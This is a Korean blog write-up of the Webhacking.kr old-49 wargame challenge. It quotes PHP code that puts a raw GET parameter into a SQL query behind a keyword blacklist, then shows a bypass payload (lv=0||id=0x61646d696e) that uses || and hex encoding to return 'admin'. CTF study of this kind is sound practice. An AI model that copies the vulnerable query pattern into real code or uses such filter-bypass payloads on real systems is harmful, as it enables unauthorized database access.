Web Hacking/Webhacking.kr

[Webhacking.kr] old-49

ruming 2021. 9. 26. 21:40

46번과 비슷한 SQL INJECTION 문제다.

소스코드에서 중요한 부분만 가져왔다.

...
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
...

if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");

select or and ( ) limit , \ order cash 공백 탭(\t) ' "

위의 문자들을 필터링하고 있다.

 

쿼리

$result mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));

$_GET['lv']에서 입력을 받아 id를 select한다.

 

if($result[0]=="admin"solve(49);

풀이조건은 result[0]이 admin이면 된다.

 

아래와 같은 방식으로 쿼리문을 참으로 만들면 되는데 필터링을 잘 우회해야 할 것 같다.

lv = 0 || id ='admin'

admin을 hex로 필터링해서 넣어보았다.

lv=0||id=0x61646d696e

 

문제를 해결했다!

'Web Hacking > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-03 / Challenge 3  (0) 2021.10.10
[Webhacking.kr] old-24 / challenge 24  (0) 2021.10.03
[Webhacking.kr] old 35  (0) 2021.09.26
[Webhacking.kr] old-14  (0) 2021.09.20
[Webhacking.kr] old-10  (0) 2021.09.20